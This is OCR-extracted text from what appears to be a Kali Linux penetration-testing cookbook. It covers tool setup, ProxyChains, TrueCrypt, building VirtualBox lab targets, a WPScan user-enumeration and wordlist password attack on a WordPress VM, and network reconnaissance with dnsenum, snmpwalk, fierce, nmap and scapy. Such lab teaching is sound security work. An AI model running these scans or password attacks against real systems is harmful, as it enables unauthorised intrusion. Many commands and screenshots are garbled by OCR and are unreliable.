toolkit/cudatoolkit 4.1.28 linux 64 ubuntull.04.run

Install the CUDA toolkit to /opt :

chmod +x cudatoolkit 4.1.28 linux 64 ubuntull.04.run

./cudatoolkit 4.1.28 linux 64 ubuntull.04.runConfigure the
environment variables required for nvcc to work:

echo PATH=$PATH:/opt/cuda/bin >> ~/.bashrc

echo LD LIBRARY PATH=$LD LIBRARY PATH:/opt/cuda/lib >> ~/.bashrc
echo export PATH >> ~/.bashrc

echo export LD LIBRARY PATH >> ~/.bashrc

Run the following command to make the variables take effect:
source ~/.bashrc

ldconfig

Install pyrit dependencies:

apt-get install libssl-dev python-dev python-scapy

Download and install the GPU powered tool, pyrit:

svn co http://pyrit.googlecode.com/svn/trunk/ pyrit src
cd pyrit src/pyrit

python setup.py build

python setup.py install

s
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8. Finally, add the nVidia GPU module to pyrit:
cd /tmp/pyrit src/cpyrit cuda
python setup.py build
python setup.py install

To verify if nvcce is installed correctly, we issue the following command:

nvce -V
A To perform a benchmark, we simply type the following command:

pyrit benchmark

Applying updates and configuring extra

security tools

In this recipe, we will cover the process of updating Kali and configuring some extra tools
which will be useful in later chapters and recipes. As Kali packages are constantly updated
between releases, you will soon find that a newer set of tools are available than what were
originally downloaded on your DVD ROM. We will start by updating our installation, obtaining
an activation code for Nessus, and conclude by installing Squid.

How to do it...

Let's begin the process of applying updates and configuring extra security tools:

1. Update the local package index with the latest changes made in the repositories:
apt-get update
2. Upgrade the existing packages:

apt-get upgrade

3. Upgrade to the latest version (if available):

apt-get dist-upgrade

=)
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4. Obtain an activation code for Nessus by registering at http://www.nessus.org/
products/nessus/nessus-plugins/obtain-an-activation-code.

5. Activate Nessus by executing the following command:

/opt/nessus/bin/nessus-fetch --register A60F-XXXX-XXXX-XXXX-0006
Where A60F -XXXX-XXXX-XXXX-0006 should be your activation code.

6. Create a user account for the Nessus web interface:

/opt/nessus/sbin/nessus-adduser

7. To start the Nessus server, we simply invoke the following command:

/etc/init.d/nessusd start

8. Install Squid:
apt-get install squid3

9. Prevent Squid from starting up automatically at boot time:

update-rc.d -f squid3 remove

To find a particular package in the repository, we can use the following
command after apt -get update:
apt-cache search <keywords

Where <keywords> could be a package name or a regular expression.

Setting up ProxyChains

Breaking the direct connection between the receiver and the sender by forcing the connection
of given applications through a user-defined list of proxies is the task we'll be explaining in
this recipe.

@l
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How to do it...

1. Open the ProxyChains configuration file:

vim /etc/proxychains.conf

2. Uncomment the chaining type we want to use; in this case, dynamic_chain:

> tunneling pr fier with DNS.

chained p
in th

in th
«les must be onlin
EINTR is

only if random _chain
]

3. Add some proxy servers to the list.

=



Chapter 2

[user pass]
'"tab' or 'blank')

INSERT --

4. Resolve the target host through our chained proxies:
proxyresolv www.targethost.com
5. Now we can run ProxyChains through the application we want to use; for example,

msfconsole:

proxychains msfconsole

Directory encryption

The last recipe of this chapter will be about information privacy. We will use TrueCrypt to hide
important and secret digital information from public eyes with encryption keys.

&1
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How to do it...

1. Install TrueCrypt by navigating to Applications Menu | Kali | Forensics | Digital Anti
Forensics | install truecrypt.

TrueCrypt 7.la Setup

TrueCrypt iz a software systen for establishing and maintaining an
on-the-fly-encrypted volune {data storage dewvicel), On-the-fly encryption
neans that data are automatically encrypted or decrypted right before they
are loaded or saved, without any user intervention, Ho data stored on an
encrypted volune can be read {decrypted} without using the correct
pazsword/keyfile{s} or correct encryption keys, Entire file systen is
encrypted {e.g., file nanes, folder names, contents of every file,

free space, neta data, etch,

Please select one of the below options:

| Exit ||E:-:tr‘act Ltar Package File ”Install TrueCrypt |

Click on Install TrueCrypt and follow the onscreen directions.

2. Launch TrueCrypt from Applications Menu | Kali Linux | Forensics | Digital Anti
Forensics | truecrypt and you will see a window similar to the following screenshot:

Slot  Volume Size Mount Directory Type

| 1
| 2 “
|5 3

| 4

|aen 5

|5 6

|G 7

|5 8

|5 O

| 10

| S 11

| s 12 v

Create Volume Volume Properties... | | wipe cache

Volume

E | | | | selectFile.. |
Never save history | Volume Toals... Hil Select Device... |

‘ Mount |Au‘t0-Mount Devices| | Dismount All | | Exit |

=
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3. Click on Create Volume to start the TrueCrypt Volume Creation Wizard.

4. Leave the default option and click on Next.

5. Select the Standard TrueCrypt module and click on Next.

6. Click on the Select File... button and specify a name and location for the new
TrueCrypt volume. Click on Save when done.

i

Volume Location

| | | |Seiect File...

‘_‘ - . ¥ Never save history
x Specify a New TrueCrypt Volume lllJt container),
etc. A
Name: [Crypt\.-’olume ] be, for
'Select File'

Save in folder: |[miroot v | he location

+| Browse for other folders | NOT encrypt

y created
| ng files (later
ou are about

| Cancel || Save

to create now.

| Help | | <Prev | Nexi | Cancel |

10.
11.
12.

13.

14.
15.

Click on the Next button and select the encryption and hash algorithm we want
to use.

In the next screen, we'll specify the amount of space we want for the container.
Now we need to type the password for our volume. Click on Next.

Choose the filesystem type.

Select the Cross-Platform Support depending on your needs.

At the next screen, the wizard asks us to move the mouse around within the window
to increase the cryptographic strength of the encryption keys. When done, click on
the Format button.

The formatting will start and will conclude with the creation of the TrueCrypt volume.
Press OK and Exit.

We're now back to the TrueCrypt window.

To decrypt our volume, pick a slot from the list, click on Select File..., and open our
created volume.
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16. Click on Mount and type our password; click on OK when done:

|5Iot Volume Size Mount Directory Type

gt

G 3 '

w4

s 5

Sl < Enter password for "/root/CryptVolume” :

a7

w8 | Password: (eeeeeeee) | oK

a9

:: 10 [ Cache passwords and keyfiles in memory | c;ncel

s 11 [ Display password

e 12 - y

= [ Use keyfiles | Keyfiles... | | Options > | !

Create Volume [a. Properties |

Volume

E |}r00terypt‘v'olume | | | SelectFile... |
Never save history | Volume Tools... | | Select Device... |

‘ Mount ‘ ‘Autcrl'u’lount Devices‘ ‘ Dismount All ‘ ‘ Exit ‘

17. We can now access the volume by double-clicking on the slot or through the mount
directory. Save files in it and when finished, simply click on Dismount All.

In this recipe, we set up Truecrypt, created a protected volume, and mounted it.
This is a handy tool to use in order to keep data safe from prying eyes.
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In this chapter, we will cover:

» Getting comfortable with VirtualBox
» Downloading Windows Targets
» Downloading Linux Targets

» Attacking WordPress and other applications

Introduction

Now that you have learned about the tools that are included in Kali Linux, we will now proceed
to investigate some real-world scenarios. Many of the attacks we performed were performed
intentionally on vulnerable software and systems. However, it is unlikely that when you use
Kali to attack a system, it will be as unprotected as our current test platform.

In this chapter, we will explore techniques to set up some realistic testing environments. In the
current state of information technology, most businesses use Platform as a Service (PAAS)
solutions, Cloud Server hosts, or employ a small network comprising of desktops, servers, and
a firewall (standalone) or firewall/router combination. We will set up these environments and
then launch attacks against them.

The end goal of all of our attacks will be to gain root level access.
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Getting comfortable with VirtualBox

In Chapter 1, Up and Running with Kali Linux, we briefly explored the use of VirtualBox for
installing Kali Linux in a virtual environment. VirtualBox is the current product of Oracle, and
runs as an application on a host operating system. It allows for guest operating systems to be
installed and run by creating virtual environments. This tool is vital to providing targets for you
to test your skills with Kali Linux.

Throughout this chapter, we will depend heavily on VirtualBox and changing its configuration
to get the type of network configuration we desire. We will use this section at the start of each
of our scenario sections, so becoming comfortable with the steps is the key.

Getting ready

A connection to the Internet or an internal network is required to complete this module.

How to do it...

Let's begin the process by opening VirtualBox:

1. Launch VirtualBox and click on New to start the Virtual Machine Wizard:

Oracle VM VirtualBox Manager = B

(%} Details Snapshots

Welcome to VirtualBox!

The left part of this window is a list of all virtual machines on your computer. The listis empty now because you haven't
created any virtual machines yet. E

In order to create a new virtual machine, press the Mew button in the main tool bar located 8 ’ \
at the top of the window. -
You can press the F1 key to getinstant help, or visit www. virtualbox. org for the latest

information and news. F

My
-

2. Click on the Next button and type the name of the virtual machine and choose the
OS Type: as well as the Version:. In this chapter, we will use either Linux, Solaris, or
Windows operating system. Select your appropriate operating system. Click on the
Next button to continue:

=




Create Virtual Machine ?

Name and operating system

Please choose a descriptive name for the new virtual machine
and select the type of operating system you intend to install
on it. The name you choose will be used throughout VirtualBox
to identify this machine.

Mame: |
Type: |Linux j '%7
version: |Ubuntu (54 bit) |

Hide Description | < Back | Next = | Cancel
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3. Select the amount of base memory (RAM) to be allocated to the virtual machine.
We're going to use the default value. Click on Next.

4. Create a new virtual hard disk for the new virtual machine. Click on the Next button:

%

Create Virtual Machine ?

Hard drive

If you wish you can add a virtual hard drive to the new
machine. You can either create a new hard drive file or select
one from the list or from another location using the folder
icon,

If you need & more complex storage set-up you can skip this
step and make the changes to the machine settings once the
machine is created.

The recommended size of the hard drive is 8.00 GB.

" Do not add a virtual hard drive

{* Create a virtual hard drive now

" Use an existing virtual hard drive file

Empty J

< Back | Create | Cancel |

@]
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5. A new wizard window will open. Leave the default VDI file type as we're not planning
to use other virtualization software.

6. We'll leave the default option as the virtual disk storage details. Click on Next

to continue.

7. Set the virtual disk file location and size:

Create Virtual Hard Drive ?

File location and size

Flease type the name of the new virtual hard drive file into the box below or
dick on the folder icon to select a different folder to create the file in.

| Kali Linux )

Select the size of the virtual hard drive in megabytes. This size is the limit on
the amount of file data that a virtual machine wil be able to store on the hard
drive.

[ 1 1 [ 1 | 1 [ 1 1 [ 1 1 1 1 IGlDD GH

4,00 MB 200TE

< Back | Create | Cancel

8. Check whether the settings are correct and click on the Create button to start the
virtual disk file creation.

9. We're back to the previous wizard with a summary of the virtual machine parameters.
Click on Create to finish:

SNED
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7] Oracle VM VirtualBox Manager
File Machine Help

New Settings Start Discard

[64) = General
A O PoweredO .
Mame: Kali Linux
Operating System:  Ubuntu (64 bit)
System
Base Memory: 512MB
Boot Order: Floppy, CD/DVD-ROM, Hard Disk

Acceleration:  VT-x/AMD-Y, Nested Paging

@ Display

Video Memory: 12 MB
Remote Desktop Server:  Disabled

@ Storage

Controller: IDE
IDE Secondary Master:  [CD/DVD] Empty
Controller: SATA
SATA Port 0: Kali Linux.vdi (Normal, 16.00 GB)
{5 Audio

Host Driver:  Windows DirectSound
Controller:  ICH ACS7

=P Network

) |

<:__} Detals (2 Snapshots

= preview =

=

10. With the new virtual machine created, we're ready to install the operating system that

was just configured in VirtualBox.
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11. On the VirtualBox main window, highlight the operating system name we just created
and then click on the Settings button:

L]

File Machine Help

@ :
Mew Sg Start Discard

EE Kali Linw = ge
'@ © Powered OFf

MName:
Operating

Svs

Base Me
Boot Ord|
Accelera

12. Now that the basic installation steps have been followed, we will proceed to allow
you to use your downloaded ISO file as a virtual disc. This will save you from having to

burn a physical DVD to complete the installation. On the Settings screen, click on the
Storage menu option:

) Kali Linux - Settings
= General Storage
System .
Storage Tree Attribyl
- 4> Controller: IDE D
@ Contraller: SATA Inform
= Metwork .
D KaliLinux.vdi
@ Serial Ports
7 USE
A
[ Shared Folders
] '@ @ =]
I

=
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13. Next, under Storage Tree, highlight the Empty disc icon underneath Controller: IDE.
This selects our "virtual" CD/DVD ROM drive. To the far right-hand side of the screen,
under Attributes, click on the disc icon. In the pop up that follows, select your ISO file
from the list. If the ISO file is not present, select the Choose a virtual CD/DVD disc
file... option and locate your ISO. Once you have completed these steps, click on the

OK button:
) Kali Linux - Settings ?
H General Storage
System
Storage Tree Attributes

Displ -
piay 6 Controller; IDE CD/DVD Drive: |IDE Secondary Master = \)
@ storage = "

[ Live CO/DVD 7| Choose avirtual CD/DVD disk file...

Audi
{} Hele @ Controller: SATA Information Host Drive 'E:'
[E Metwork - . Type: —
4 Serial Ports 2 Kal Linux.vd e Remove disk from virtual drive
ﬁ USB Location: —

Attached To: —
[ Shared Folders

@a

Select a seftings category fFom the fist on the left-hand side and move the mouse over a seitings
Jitem to gef more infarmation.

oK Cancel | Help |

14. Click on the Start button and then click inside the new window and proceed with the
installation. The installation steps are covered in the Installing to a hard disk drive
recipe of this chapter.

The chapter began by creating a new virtual instance in VirtualBox. We then proceeded to
select our operating system and set both the memory and hard drive size. Later, we selected
our ISO file and then inserted the ISO into our virtual CD/DVD drive. Finally, we started the
virtual environment so that our operating system could be installed.

Throughout the rest of this chapter, we will be using VirtualBox as our tool of choice to set up
our various environments.

-
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There's more...

We will be performing tasks on our hosts that may cause them to become unstable
or even fail to run. VirtualBox provides us with an excellent tool for making a copy of
our virtual environment:

1. From the main screen, left-click on the virtual server you would like to clone.

2. Right-click on the virtual server you would like to clone and press the Clone...

menu option:
%} Settings... Ctrl+S
& Clone... Ctrl+ O
f:e Remove... Ctrl+R
@ Group Ctrl+U
oy Start
[ Pause Ctrl+P
Q) Reset Ctrl+T
"o Close L4
Discard saved state... Ctrl+)
& Show Log... Ctrl+L
o) Refresh...
Show in Explorer
A Create Shortcut on Desktop
Sort

3. On the clone screen, give your new virtual server a name.

=




New machine name

Please choose a name for the new virtual machine, The new
machine will be a clone of the machine Metasploitable2.

Clone Virtual Machine ?

| Metasploitable2 Clone|

[ Reinitizlize the MAC address of all network cards

Hide Description | < Back | Mext = | Cancel |
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4. Click on Next, and on the following screen, choose between creating a Linked clone
or a Full clone, as shown in the following screenshot:

Q

Full Clone: In a full clone, an exact independent replica of the virtual

machine is created.

Linked Clone: In a linked clone, a snapshot is taken and the clone is
created. However, the linked clone is dependent on the original file in
order to function. This can degrade the performance of the linked clone.

L

Clone Virtual Machine ?

Clone type

Please choose the type of done you wish to create.

If you choose Full clone, an exact copy {incuding all virtual
hard drive files) of the original virtual machine will be created.

If you choose Linked clone, a new machine will be created,
but the virtual hard drive files will be tied to the virtual hard
drive files of original machine and you will not be able to move
the new virtual machine to a different computer without
moving the original as well.

If you create a Linked clone then a new snapshot will be
created in the original virtual machine as part of the doning
process.

¢ Full done

" Linked done

< Back | Clone | Cancel

s
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5. Click on Clone and wait for the virtual machine to clone:

%  Clone Virtual Machine: Cloning Machine

Cloning Disk ‘'Metasploitable. vmdk! ... ... (2/3)

3% i
5 minutes remaining

Downloading Windows Targets

For now and the foreseeable future, Microsoft Windows is the operating system of choice
for many individuals and enterprises.

Luckily, Microsoft provides a way for us to get test operating systems.

Getting ready

A connection to the Internet or an internal network is required to complete this module.

How to do it...

The steps for downloading Windows Targets are as follows:

1. Open a web browser and navigate to Microsoft Technet at http://technet.
microsoft.com/en-us/ms376608.
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2. Once at the website, on the right-hand side of the screen, click on the
Downloads link:

TechNet Produds - IT Resources ~ Downloads - Training - Support -

B2 Microsoft United States (English) ~ Sign in
Te(:hN et Search TechNet with Bing E

Library Wiki Learn Gallery Downloads Support Forums Blogs

Troubleshooting

Private Cloud Planning Guide for
Systems Management

July 22, 2013
Tt i ey e [ (e e Read the Reference Architecture for Private Cloud

Subscriptions

What i a TechMet Subscription? Learn more
Existing subscribers: Access your benefits
Existing subscribers: Download software
Private Cloud Infrastructure as a Service patterns
affect Systems Management design. This guide
should be used as an aid te operations, architects, and Private Cloud Planning Guide for Systems
consultants who are designing processes, procedures,
and best practices for a private cloud.

Private Cloud Technical Concept and Overview Subscribe to the TechMet Flash newsletter

Management

Technology News Local Resources - US

Free Private Cloud Trials

i Server & Management - Windows

Windows Azure (including |aaS) 30-day trial

Advanced Tools and Scripting with PowerShell 3.0 The new Fresh Paint comes to Windows 8.1 and . S
_ - - Windows Server 2012 download
Friday, Jul 26 Windows Phone

3. From the Download menu option, choose Evaluate new products:

Troubleshooting +

Downloads

luate new products

Find's Y DUIEDINS

Get service packs

Go to Microsoft's Download Center

7}



Advanced Testing Lab

4. On the next screen, you have several options on how you select your downloads
depending on the product you wish to test. The recommendation is to select Windows
Server 2012, Windows 8, and Windows 7:

Home

TechMet Evaluation Center > Home > TechNet Evaluation Center

Need Developer Evaluations?

Full-featured evaluations at no cost

MSDN Evaluation Center

Featured Downloads

Windows Server 2012 Free Technical Training

System Center 2012 SP1

System Center 2012 Configuration Manager
& Endpoint Protection ./ } TOp 5 Downloads
SQL Server 2012 SP1 v 2

Microsoft Virtual Academy

Office Professional Plus 2013

Windows Windows Server

Windows 8 Enterprise Evaluation Windows Server 2012

System Center 2012 5P1

Visio Professional 2013

Windows Small Business Server 2011

Windows Server 2012 Essentials . .
: Evaluation Center on Twitter
Office Hyper-V Server 2012 B2 Preview *NEW*
- . MicroseftTrials: RT @50L5erver: SOL Server 2014: A
(Office 365 ProRlus Windows Server 2012 R2 Preview *NEW* Closer Look 25015

Office Professional Plus 2013 Windows Server 2012 R2 Essentials hitpi//t.co/KlaTNO
Preview *NEW*

Project Professional 2013

Visio Professional 2013

5. Once you have downloaded your ISO, follow the instructions in the Getting
comfortable with VirtualBox recipe of this chapter.

Downloading Linux Targets

For most web facing server deployments, Linux is the operating system of choice. Its relatively
low cost (free in many instances) when compared to Windows operating systems makes it
ideal for most Cloud, PAAS, and server environments.

In this recipe, we will examine how to download a variety of Linux distributions.

Getting ready

A connection to the Internet or an internal network is required to complete this module.

NED
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How to do it...

The steps for downloading Linux Targets are as follows:

1. Open a web browser and navigate to Distro Watch at http://www.distrowatch.
com.

2. Once at the website, you will be presented with a listing of well over 100 Linux
distributions. It is advisable to at a bare minimum select more than one distribution
including the popular ones (CentOS, Ubuntu, Fedora, and Debian). The page will look
like the following screenshot:

Put the fun back into computing, Use Linu:, B30,

quhhwnmkhcmn _

Ga Saloct Destribution v Ga Links

ani compiner in one.

Randam Cistnsution

SAVE -
2 OVER $ 85 Dact to u.‘?-ool LA N%“\l‘:h
. A amazoncom
News Filtering Options
Distribution: 20 v Releass: 2| v | Month: 2| v | Yoar: A e Retresh

0130728 HEW» Ralegse; inyx 7.1 Beta 0
20 e avaiabiity of the inial publc beta af Skoklinus 7.1

Crafted from cool, textured amarpheus
matal, (he Edgs hat 3 dstinetive, precics
laok but its rakishly chamfarod adges are

shaped 1o fit naturalty in the palm

Hew: Manags your tmn id and Phane
desices with 20X b ics By a0

Slcolelinux

T — ugs. °F : nouncement for a ful changelag. Do
phian-sdu-7 1+edul-~ I

™ 550B, MDE)

20130020
MILE I

3. Once you have downloaded your ISO, follow the instructions in the Getting
comfortable with VirtualBox recipe of this chapter.

Attacking WordPress and other applications

More and more businesses today utilize SAAS (Software as a Service) tools in their daily
business. For example, it is not uncommon for a business to use WordPress as its website's
content management system or Drupal for its intranet. Being able to locate vulnerabilities in
these applications can prove extremely valuable.

One great resource for gathering applications to test against is Turnkey Linux (http://www.
turnkeylinux.ozrg). In this recipe, we will download the popular WordPress Turnkey Linux
distribution.

s
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Getting ready

A connection to the Internet or an internal network is required to complete this module.

How to do it...

The steps for attacking a WordPress application are as follows:

1. Open your web browser and visit the Turnkey Linux website at http://www.
turnkeylinux.org. The homepage will look like the following screenshot:

Tl, R M K Fv ¥ APPS v HELP ¥ BLOG » SCREENSHOTS » TURNKEY HUB
L 1 -N .ll .X

I* Login | Register Search Go

Have you checked out the TurnKey Hub yet? Try the live demo!

Total: 195.5 MB {50.03/ma) Backup & Migration Mordpress . Cloud Servers
Secure and easy server backups Rapidly explore and deploy
130.6 MB to Amazon S3. Automatically Virginia (East USA) v 100+ free server apps in the
-_— restore servers from backups. Amazon EC2 cloud.
Micro: $0.02/hour T
64.9 MB Test backups in the cloud. Only a browser required.
Benefits Blog
Save time and money with 100+ ready-to-use solutions: discover and leverage the best Introducing TKL Dev -
free open source software. Deploy in minutes on bare metal, virtual machines, or in the Turnkey's appliance
doud. development and build
system in 3 box
It just works: designed for ease of use, built and pre-tested by a community of experts. 18th Juf, 2013
Backup and migration: smart software saves changes to files, databases and package TumKey moves to GitHub

28th Jun, 2013
TurnKey 12.1 64-bit

management to encrypted storage which servers can be automatically restored from.

Secure and easy to maintain: zuto-updated daily with latest security patches. maintenance release built
with new tkidev build
100% Open Source: free from expensive and restrictive proprietary licensing. Easy to e

customize and extend to build new appliances from the closest existing starting point. 6th Jun, 2013

Read more TurnKey Core 12.0 RC
i386, amd64, wheez
17th Jan, 2013

“Lighter, smaller, faster and easier is
the formula behind TurnKey Linux”
— InfoWorld, Bossie awards (source) Follow us. Share with friends.

More testimonials i i [‘"‘j l l
1 IR R BNF" - -

&)
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There are many applications listed here, and | would recommend trying them all
so that you can find vulnerabilities and test your skills against these applications;
however, for this recipe, we will examine WordPress. In the Instant Search box,

type WordPress:

Etherpad Lite Joomla 2.5
Real-time document Cutting Edge Content
collaboration Management

S e
 TURMKEY ~ TURMKEY

X00PS TomatoCart
Content Management Shopping cart
and Web Application

Platform
} S
N~
0SOA Plige
QA system Social publishing CMS

Il Specials | Content management | Web development Issue tracking Messaging

Drupal 7 Zen Cart
Content Management online store
Framewark management system

O e

Typo3 PHP-Nuke
Enterprise CMS Content Management
system

SilverStripe Plone
CMS and framework Open Source Content
Management

-

[ei-
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3. Onthe WordPress download page, select the ISO image and once the download
completes, follow the instructions in the Getting comfortable with VirtualBox recipe
to install the Turnkey Linux WordPress virtual machine:

Blogging = PHP  Content management ':JSuhscrihe

WordPress - Blog Publishing Platform

WordPress is a state-of-the-art publishing platform with a focus on

aesthetics, web standards, and usability. It is one of the worlds most popular
blog publishing applications, includes tons of powerful core functionality,

extendable via literally hundreds of plugins, and supports full theming.

DOWNLOAD: 211MB VM OVF, OpenStack, OpenVZ, Xen (?) | Manifest & Sigs
RUN FROM BROWSERTEDloy WordPress in seconds to the Amazon EC2 cloud

Now that we have our WordPress Virtual Machine loaded, we can use WPScan to attack it.
WPScan is a blackbox WordPress Security Scanner that allows a user to find vulnerabilities
in a WordPress installation.

WPScan takes several arguments and they include:

» -u < target domain name or url>: The u argument allows you to specify a domain
name to target
» -f: The £ argument allows you to force a check to see if WordPress is installed or not

» -e [options]: The e argument allows you to set enumeration
Let's begin the process of using WPScan.

s Ensure that both your WordPress Virtual Machine and Kali Linux Virtual

Q Machine are started with the VirtualBox Host Only Adapter network
setting used.

1. From the Kali Linux Virtual Machine, launch the WPScan help file:
wpscan - h
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The page will look like the following screenshot:

vZ2 .OrNA

an Team
Initiative

is running

J] Enumeration.

usernames from id 1 to 10

2. Let's run a basic WPScan against our WordPress Virtual Machine. In this case, our
target's IP address is 192.168.56.102:

Wpscan -u 192.168.56.102

3. Now, let's practice enumerating the username list by running the following command:

wpscan -u 192.186.56.102 -e u vp

(&5}
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The page will look like the following screenshot:

scan -u 192.168.56.102 -e u vp

an Team
Initiative

Enumerating usernames

We nd the ing 1 u

| id: 1 | name: admin | nickname: admin | TurnKey Linux

4. Finally, we can supply a wordlist to WPScan by issuing the —wordlist <path to
file> option:

wpscan -u 192.168.56.102 -e u --wordlist /root/wordlist.txt

=
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The page will look like the following screenshot:

|1
| |_| v2.0rNA

urity Scann y the can Team
) rce Initiative

Z2.168.5
on Mon Jul 29

passive

usernam
id: 1 | name: admin | nickname: admin | TurnkKey Linux
Starting the passwor

: with 4 pe
ame : admin Pas

5. That's it! We have successfully retrieved the password from the
Wordpress installation.

]






Information Gathering

In this chapter, we will cover:

» Service enumeration

» Determining network range

» ldentifying active machines

» Finding open ports

» Operating system fingerprinting
» Service fingerprinting

» Threat assessment with Maltego

» Mapping the network

Introduction

One of the most important stages of an attack is information gathering. To be able to launch
an attack, we need to gather basic information about our target. So, the more information we
get, the higher the probability of a successful attack.

| also want to emphasize an important aspect of this stage, and it's the documentation.

The latest Kali release available at the time of writing this book includes a few tools to help
us collate and organize the data from the target, allowing us to get a better reconnaissance.
Tools such as Maltego CaseFile and KeepNote are examples of it.
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Service enumeration

In this recipe, we will perform a few service enumeration tricks. Enumeration is a process that
allows us to gather information from a network. We will examine DNS enumeration and SNMP
enumeration techniques. DNS enumeration is the process of locating all DNS servers and
DNS entries for an organization. DNS enumeration will allow us to gather critical information
about the organization such as usernames, computer names, IP addresses, and so on. To
achieve this task, we will use DNSenum. For SNMP enumeration, we will use a tool called
SnmpEnum. SnmpEnum is a powerful SNMP enumeration tool that allows users to analyze
SNMP traffic on a network.

How to do it...

Let's start by examining the DNS enumeration:

1. We will utilize DNSenum for DNS enumeration. To start a DNS enumeration,
open the Gnome terminal and enter the following command:
cd /usr/bin

./dnsenum --enum adomainnameontheinternet.com

. Please do not run this tool against a public website that is not
% your own and is not on your own servers. In this case, we used
i adomainnameontheinternet.comas an example and
you should replace this with your target. Be careful!

2. We should get an output with information like host, name server(s), mail server(s),
and if we are lucky, a zone transfer:
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3. There are some additional options we can run using DNSenum and they include
the following;:

o -- threads [number] allows you to set how many processes will run
at once

o -r allows you to enable recursive lookups
o -dallows you to set the time delay in seconds between WHOIS requests
o -o allows us to specify the output location
o -w allows us to enable the WHOIS queries

- For more information on WHOIS, please visit the

following URL:
A

http://en.wikipedia.org/wiki/Whois

[}
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4.

Another command we can use to examine a Windows host is snmpwalk. Snmpwalk
is an SNMP application that uses SNMP GETNEXT requests to query a network entity
for a tree of information. From the command line, issue the following command:

snmpwalk -c public 192.168.10.200 -v 2c

We can also enumerate the installed software:

snmpwalk -c public 192.168.10.200 -v 1 | grep
hrSWInstalledName

HOST-RESOURCES-MIB: :hrSWInstalledName.l
Tools™"

STRING: "VMware

HOST-RESOURCES-MIB: :hrSWInstalledName.2 STRING: "WebFldrs"

And also the open TCP ports using the same tool:

snmpwalk -c public 192.168.10.200 -v 1 | grep tcpConnState |
cut -d"." -f6 | sort -nu

21
25
80
443

Another utility to get information via SNMP protocols is snmpcheck:
cd /usr/bin
snmpcheck -t 192.168.10.200

To perform a domain scan with fierce—a tool that tries multiple techniques to
find all the IP addresses and hostnames used by a target—we can issue the
following command:

cd /usr/bin

fierce -dns adomainnameontheinternet.com

. Please do not run this tool against a public website that is not
% your own and is not on your own servers. In this case, we used
S adomainnameontheinternet .comas an example and you
should replace this with your target. Be careful!

To perform the same operation, but with a supplied word list, type the
following command:

fierce -dns adomainnameontheinternet.com -wordlist
hosts.txt -file /tmp/output.txt

[
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10. To start an SMTP enumeration of the users on an SMTP server, enter the
following command:

smtp-user-enum -M VRFY -U /tmp/users.txt -t 192.168.10.200

11. With the results obtained, we can now proceed to document it.

Determining network range

With the gathered information obtained by following the previous recipe of this chapter,
we can now focus on determining the IP addresses range from the target network. In this
recipe, we will explore the tools needed to achieve it.

How to do it...

Let's begin the process of determining the network range by opening a terminal window:

1. Open a new terminal window and issue the following command:

dmitry -wnspb targethost.com -o /root/Desktop/dmitry-result

2. When finished, we should now have a text document on the desktop with filename
dmitry-result.txt, filled with information gathered from the target:

*dmitry-result.txt 3§

Gathered Netcraft information for targethost.com N

Retrieving Netcraft.com information for targethost.com
Netcraft.com Information gathered

Gathered Subdomain information for targethost.com
Searching Google.com:88...
HostName:community.targethost. com
HostIP:192.168.160.201

HostName:www.targethost.com

HostIP:192.168.10.200
HostName:smtp.targethost.com
HostIP:192.168.10.206

HostName: ftp.targethost.com

HostIP:192.168.10.210
HostMame:private.targethost.com
HostIP:192.168.160. 2(-]8|

Searching Altavista.com:88...

Found 4 possible subdomain(s) for host isoftdev.eu, Searched @ pages
containing @ results

7}
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3. Toissue an ICMP netmask request, type the following command:
netmask -s targethost.com
4. Using scapy, we can issue a multiparallel traceroute. To start it, type the
following command:
scapy
5. With scapy started, we can now enter the following function:
ans,unans=sr (IP (dst="www. targethost.com/30", ttl=(1,6))/TCP())
6. To display the result in a table, we issue the following function:
ans.make table( lambda (s,r): (s.dst, s.ttl, r.src) )
The output is shown as follows:
216.27.130.162 216.27.130.163 216.27.130.164 216.27.130.165
1 192.168.10.1 192.168.10.1 192.168.10.1 192.168.10.1
2 51.37.219.254 51.37.219.254 51.37.219.254 51.37.219.254
3 223.243.4.254 223.243.4.254 223.243.4.254 223.243.4.254
4 223.243.2.6 223.243.2.6 223.243.2.6 223.243.2.6
5 192.251.254.1 192.251.251.80 192.251.254.1 192.251.251.80
7. To get a TCP traceroute with scapy, we type the following function:
res,unans=traceroute ( ["www.google.com", "www.Kali-
linux.org", "www.targethost.com"],dport=[80,443] ,maxttl=20,
retry=-2)
8. To display a graph representation of the result, we simply issue the following function:
res.graph()
ASE1S]
[UmNet]
15169
[GOOGLE - Google Inc.] p4
9. To save the graph, just type the following function:
res.graph(target="> /tmp/graph.svg")
10. We can also have a 3D representation of the graph. This is done by entering the

following function:

res.trace3D()

=
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11. To exit scapy, type the following function:

exit ()

12. With the results obtained, we can now proceed to document it.

In step 1, we use dmitry to obtain information from the target. The option -wnspb allows us
to perform a WHOIS lookup on the domain name, retrieve the Netcraft .com information,
perform a search for possible subdomains, and a TCP port scan. The option -o allows us

to save the result in a text document. In step 3, we make a simple ICMP netmask request
with the -s option to output the IP address and netmask. Next, we used scapy to issue a
multiparallel traceroute at the target host, displaying the result in a table presentation. In step
7, we performed a TCP traceroute of various hosts on ports 80 and 443, and we set the max
TTL to 20 to stop the process. With the result obtained, we created a graph representation of
it, saved it in a temporary directory, and also created a 3D representation of the same result.
Finally, we exit scapy.

Identifying active machines

Before attempting a pentest, we first need to identify the active machines that are on the
target network range.

A simple way would be by performing a ping on the target network. Of course, this can be
rejected or known by a host, and we don't want that.

How to do it...

Let's begin the process of locating active machines by opening a terminal window:

1. Using Nmap we can find if a host is up or not, shown as follows:
nmap -sP 216.27.130.162

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-04-27
23:30 CDT

Nmap scan report for test-target.net (216.27.130.162)
Host is up (0.00058s latency).

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

(75}
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2. We can also use Nping (Nmap suite), which gives us a more detailed view:

nping --echo-client "public" echo.nmap.org

# nping -

3. We can also send some hex data to a specified port:
nping -tcp -p 445 -data AF56A43D 216.27.130.162

Finding open ports

With the knowledge of the victim's network range and the active machines, we'll proceed
with the port scanning process to retrieve the open TCP and UDP ports and access points.

Getting ready

The Apache web server must be started in order to complete this recipe.




How to do it...

Let's begin the process of finding the open ports by opening a terminal window:

1. To begin, launch a terminal window and enter the following command:
nmap 192.168.56.101

3-06-05 22:22 EDT

puter Systems)

Nmap o1 ] -Te s canned in 1.47 s

Chapter 4
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2. We can also explicitly specify the ports to scan (in this case, we are specifying
1000 ports):

nmap -p 1-1000 192.168.56.101

c/usr/bin# nmap -p 1-1 192.168.56.101

13-06-05

